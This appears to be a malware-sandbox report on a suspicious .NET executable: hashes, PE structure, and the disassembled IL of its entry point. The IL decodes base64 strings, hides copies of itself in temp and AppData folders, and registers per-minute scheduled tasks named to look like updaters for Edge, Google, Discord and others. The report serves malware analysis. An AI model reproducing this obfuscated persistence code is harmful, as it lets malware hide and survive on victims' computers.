Suspicious
Suspect

17b4bda9f4dcec2f5e698776e7e4b9e1

PE Executable
MD5: 17b4bda9f4dcec2f5e698776e7e4b9e1
Size: 170.5 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 17b4bda9f4dcec2f5e698776e7e4b9e1
Sha1 46d50c56d58b714f4bbc65b8aa43ddf9636c2262
Sha256 a9ff4fbde5bb27981136ca2902000af76636fa327fdfcae50f3de411cbb9f5e1
Sha384 dff0c686a2518d1c48617aa0bc21d3b9c73b75a1d7a3b31b8e1db03035485232fe7e0768b2f3b228ff221f6c3e3b2b80
Sha512 ea67f9ac12602a93f1dcda16c68012aa16471399364adb2aa51fba754b52bb5af17bc7b1932d4438f08938f80d640442fa71d912f2abfabf2884ab3c7e254a03
SSDeep 3072:yELIb0+wW1a++9bx7UM+lmsolAIrRuw+mqv9j1MWLQ5:yEL0hwW1u9bt+lDAA
TLSH 88F30EE06746C435D4AF99B9C4BBA6A7A833A21F9C18450D2CD2FF4B7D323464417CAB
PeID
Microsoft Visual C++ DLLMicrosoft Visual C++ v6.0
17b4bda9f4dcec2f5e698776e7e4b9e1
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rsrc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
3W9UONQ7fMuMvLF1mVFw
Full Name
3W9UONQ7fMuMvLF1mVFw
EntryPoint
System.Void sMAMoLXRAsI3TA2mnUDl.Pgys0rEVcvOfpnfFXR6f::saSMVfA1cKRSXF2LOHlx()
Scope Name
3W9UONQ7fMuMvLF1mVFw
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
new
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
367
Main Method
System.Void sMAMoLXRAsI3TA2mnUDl.Pgys0rEVcvOfpnfFXR6f::saSMVfA1cKRSXF2LOHlx()
Main IL Instruction Count
414
Main IL 
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void r2FnSIWxl4c7dsFvPDZT.HPbwR9eicckLq7SXvyx8::Doqk5HoqHRHzmDz6n6Gd()
call System.Boolean 9jvgB8c6sfB677YkBgzm.lDx3dHiifS8AmerxiSYM::FGcD6w7u1GcfHDOdphQW()
brtrue IL_001F: call System.Boolean A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::ZYH4i96f8MQRDFkPbs4S()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Boolean A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::ZYH4i96f8MQRDFkPbs4S()
brtrue IL_002E: call System.Object A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::sRiBUDXgL4mJTmxFEuDU()
call System.Void A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::Pcfp6COEi1F7jb25SYE8()
call System.Object A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::sRiBUDXgL4mJTmxFEuDU()
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::NotObject(System.Object)
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brfalse IL_0047: leave IL_005E
call System.Void A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::nAZZcnFSy4ip16RUMHZz()
leave IL_005E: call System.Boolean A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::IoVG0918Ltj0l8mQo17a()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_005E: call System.Boolean A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::IoVG0918Ltj0l8mQo17a()
call System.Boolean A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::IoVG0918Ltj0l8mQo17a()
brtrue IL_006D: ldsfld System.String c9VhR5Q7AfgLwepHSim0.BSBGAuToygOI1fUQD8Xw::RX3UqQsTE3JU2ExEd1qh
call System.Void A9pl6x3p12yWR6pyqG8d.tzpQ3IJwCtIL0PQcOsYa::pTxjYP0iT2mgq4uq5LHw()
ldsfld System.String c9VhR5Q7AfgLwepHSim0.BSBGAuToygOI1fUQD8Xw::RX3UqQsTE3JU2ExEd1qh
call System.String System.IO.Path::GetFileName(System.String)
stloc.s V_4
ldc.i4.5 <null>
newarr System.String
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr dGVtcA==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
call System.String Microsoft.VisualBasic.Interaction::Environ(System.String)
stelem.ref <null>
ldloc.s V_20
ldc.i4.1 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr YXBwZGF0YQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
call System.String Microsoft.VisualBasic.Interaction::Environ(System.String)
stelem.ref <null>
ldloc.s V_20
ldc.i4.2 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr bG9jYWxhcHBkYXRh
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
call System.String Microsoft.VisualBasic.Interaction::Environ(System.String)
stelem.ref <null>
ldloc.s V_20
ldc.i4.3 <null>
ldc.i4.s 35
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
stelem.ref <null>
ldloc.s V_20
ldc.i4.4 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr d2luZGly
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
call System.String Microsoft.VisualBasic.Interaction::Environ(System.String)
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr XFRlbXA=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
call System.String System.String::Concat(System.String,System.String)
stelem.ref <null>
ldloc.s V_20
stloc.s V_5
ldc.i4.s 20
newarr System.String
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr RWRnZVVwZGF0ZQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.1 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr R29vZ2xlVXBkYXRl
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.2 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr T25lRHJpdmVTeW5j
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.3 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr QWRvYmVVcGRhdGU=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.4 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr Q0NsZWFuZXJVcGRhdGU=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.5 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr RHJvcGJveFVwZGF0ZQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.6 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr TnZVcGRhdGU=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.7 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr QU1EVXBkYXRl
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.8 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr aVR1bmVzVXBkYXRl
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 9
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr Wm9vbVVwZGF0ZQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 10
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr RGlzY29yZFVwZGF0ZQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 11
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr VGVhbVZpZXdlclVwZGF0ZQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 12
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr TG9naVVwZGF0ZQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 13
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr U2Ftc3VuZ1VwZGF0ZQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 14
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr U3BvdGlmeVVwZGF0ZQ==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 15
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr U3RlYW1VcGRhdGU=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 16
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr U2t5cGVVcGRhdGU=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 17
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr U2xhY2tVcGRhdGU=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 18
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr V2hhdHNBcHBVcGRhdGU=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
ldc.i4.s 19
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr VkxDVXBkYXRl
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_20
stloc.s V_6
call System.String 9jvgB8c6sfB677YkBgzm.lDx3dHiifS8AmerxiSYM::5MoaJKh0xfpHLlWESHD2()
callvirt System.Int32 System.String::GetHashCode()
call System.Int32 System.Math::Abs(System.Int32)
newobj System.Void System.Random::.ctor(System.Int32)
stloc.1 <null>
ldloc.s V_6
newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor(System.Collections.Generic.IEnumerable`1<System.String>)
stloc.2 <null>
ldloc.2 <null>
callvirt System.Int32 System.Collections.Generic.List`1<System.String>::get_Count()
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_8
br IL_0390: ldloc.s V_8
ldloc.1 <null>
ldloc.s V_8
ldc.i4.1 <null>
add.ovf <null>
callvirt System.Int32 System.Random::Next(System.Int32)
stloc.s V_9
ldloc.2 <null>
ldloc.s V_8
callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32)
stloc.s V_10
ldloc.2 <null>
ldloc.s V_8
ldloc.2 <null>
ldloc.s V_9
callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32)
callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String)
ldloc.2 <null>
ldloc.s V_9
ldloc.s V_10
callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String)
ldloc.s V_8
ldc.i4.m1 <null>
add.ovf <null>
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
bge IL_035A: ldloc.1
ldloc.2 <null>
ldc.i4.0 <null>
ldc.i4.5 <null>
callvirt System.Collections.Generic.List`1<System.String> System.Collections.Generic.List`1<System.String>::GetRange(System.Int32,System.Int32)
callvirt System.String[] System.Collections.Generic.List`1<System.String>::ToArray()
stloc.0 <null>
ldc.i4.0 <null>
ldloc.s V_5
ldlen <null>
conv.ovf.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_18
stloc.s V_11
br IL_04D9: ldloc.s V_11
ldloc.s V_5
ldloc.s V_11
ldelem.ref <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr XA==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
ldloc.s V_4
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.s V_12
ldsfld System.String c9VhR5Q7AfgLwepHSim0.BSBGAuToygOI1fUQD8Xw::RX3UqQsTE3JU2ExEd1qh
ldloc.s V_12
ldc.i4.1 <null>
call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean)
ldloc.s V_12
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.0 <null>
ldloc.s V_11
ldelem.ref <null>
stloc.s V_13
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr c2NodGFza3MuZXhl
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_15
ldloc.s V_15
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_15
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.s V_15
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_15
ldc.i4.5 <null>
newarr System.String
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr L2NyZWF0ZSAvZiAvc2MgbWludXRlIC9tbyAxIC90biAi
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_19
ldc.i4.1 <null>
ldloc.s V_13
stelem.ref <null>
ldloc.s V_19
ldc.i4.2 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr IiAvdHIgIg==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_19
ldc.i4.3 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_19
ldc.i4.4 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr Ig==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stelem.ref <null>
ldloc.s V_19
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_15
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_14
ldloc.s V_14
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave IL_04BC: leave IL_04D3
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_16
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_04BC: leave IL_04D3
leave IL_04D3: ldloc.s V_11
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_17
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_04D3: ldloc.s V_11
ldloc.s V_11
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_11
ldloc.s V_11
ldloc.s V_18
ble IL_03B6: ldloc.s V_5
ldnull <null>
ldftn System.Void sMAMoLXRAsI3TA2mnUDl.Pgys0rEVcvOfpnfFXR6f::HCfFd3d5VXZ6oYseYm6l()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.3 <null>
ldloc.3 <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
17b4bda9f4dcec2f5e698776e7e4b9e1
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rsrc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙